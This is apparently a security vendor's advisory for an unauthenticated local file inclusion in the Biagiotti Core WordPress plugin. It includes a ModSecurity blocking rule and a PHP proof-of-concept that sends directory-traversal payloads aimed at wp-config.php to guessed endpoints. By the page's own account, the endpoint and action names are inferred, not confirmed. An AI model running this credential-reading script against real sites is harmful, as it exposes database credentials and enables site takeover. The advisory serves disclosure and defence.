Opens in a new tab
Published : November 15, 2026

CVE-2026-66657: Biagiotti Core <= 2.1.1 Unauthenticated Local File Inclusion PoC, Patch Analysis & Rule

Severity High (CVSS 8.1)
CWE 98
Vulnerable Version 2.1.1
Patched Version —
Disclosed August 10, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-66657 (metadata-based): The Biagiotti Core WordPress plugin, versions up to and including 2.1.1, contains an unauthenticated Local File Inclusion (LFI) vulnerability. This flaw allows remote attackers to include and execute arbitrary PHP files on the server, potentially leading to full site compromise. The CVSS v3.1 score is 8.1 (High), with a vector of CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H. The vulnerability is classified as CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program (‘PHP Remote File Inclusion’). No patched version is currently available.

The root cause is inferred from the CWE and description: an unauthenticated user can influence a filename that is passed to a PHP include/require statement without proper validation or sanitization. Given the plugin context, this likely occurs in an AJAX handler, a REST API endpoint, or a shortcode handler that accepts a parameter (such as ‘file’, ‘template’, ‘path’, ‘page’, or ‘view’) and uses it directly in an include() or require() call. The lack of authentication checks and nonce verification exacerbates the issue. While we cannot confirm the exact code path without source access, Atomic Edge research indicates that such vulnerabilities in WordPress plugins typically arise from missing capability checks (e.g., current_user_can) and absent or incorrect use of sanitization functions like sanitize_file_name or basename. The high CVSS attack complexity (AC:H) suggests that the vulnerability may require specific server configurations or conditions to exploit reliably, but the impact (C/I/A:H) is severe.

Exploitation involves sending crafted requests to endpoints that fail to sanitize file path inputs. Common entry points are AJAX actions registered via wp_ajax_nopriv_{action} (since the vulnerability is unauthenticated) or REST API routes under /wp-json/. Attackers would supply parameters like ‘file=../../../../wp-config.php’ or ‘file=../../../../wp-content/uploads/malicious.jpg’ to include local files. Because the plugin is named Biagiotti Core, plausible action names include ‘biagiotti_core_include’, ‘biagiotti_get_template’, or ‘biagiotti_load_file’. Without a code diff, these names are inferred from typical naming conventions. The exploitation does not require authentication or user interaction (PR:N, UI:N). The AC:H metric may reflect the need to know the correct endpoint or to bypass certain restrictions, but the attack is still feasible through fuzzing or source code disclosure.

Remediation requires implementing strict validation of any filename or path used in include/require statements. The fix should ensure that only allowed files (e.g., from a whitelist) are included, or that user input is not used to construct file paths. Proper use of functions like basename(), realpath(), and sanitize_file_name() can prevent directory traversal. Authentication and capability checks (e.g., current_user_can(‘manage_options’)) should be added to the vulnerable endpoint, along with nonce verification to prevent CSRF. Since no patched version exists, site owners should disable or remove the plugin until an update is released.

Successful exploitation leads to arbitrary PHP code execution if an attacker can include a file containing malicious PHP code (e.g., an uploaded image with embedded PHP). This can result in complete site takeover, data exfiltration, privilege escalation, and lateral movement within the hosting environment. The vulnerability also allows reading sensitive files like wp-config.php, which contains database credentials and authentication keys. Given the unauthenticated nature, the risk is high for all sites running the vulnerable plugin.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-66657 (metadata-based)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20266657,phase:2,deny,status:403,chain,msg:'CVE-2026-66657 Biagiotti Core Unauthenticated Local File Inclusion',severity:'CRITICAL',tag:'CVE-2026-66657'"
  SecRule ARGS_POST:action "@rx ^biagiotti_(core_include|get_template|load_file)$" "chain"
    SecRule ARGS_POST:file|ARGS_POST:template|ARGS_POST:path|ARGS_POST:page "@rx ../" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-66657 - Biagiotti Core <= 2.1.1 - Unauthenticated Local File Inclusion

$target_url = 'http://example.com'; // Change to target WordPress site

// Potential endpoints and parameters inferred from plugin slug and vulnerability type
$endpoints = [
    '/wp-admin/admin-ajax.php',
    '/wp-json/biagiotti-core/v1/include',
    '/wp-json/biagiotti/v1/template'
];

$actions = [
    'biagiotti_core_include',
    'biagiotti_get_template',
    'biagiotti_load_file'
];

$params = [
    'file' => '../../../../wp-config.php',
    'template' => '../../../../wp-config.php',
    'path' => '../../../../wp-config.php',
    'page' => '../../../../wp-config.php'
];

foreach ($endpoints as $endpoint) {
    foreach ($actions as $action) {
        foreach ($params as $param => $payload) {
            $url = $target_url . $endpoint;
            $post_data = [];
            if (strpos($endpoint, 'admin-ajax.php') !== false) {
                $post_data['action'] = $action;
            }
            $post_data[$param] = $payload;

            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_TIMEOUT, 10);
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);

            // Check for signs of successful inclusion (e.g., wp-config.php content)
            if ($http_code == 200 && strpos($response, 'DB_NAME') !== false) {
                echo "Success! Endpoint: $url, Action: $action, Param: $paramn";
                echo "Response snippet: " . substr($response, 0, 200) . "n";
                exit;
            }
        }
    }
}

echo "No successful exploitation detected.n";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.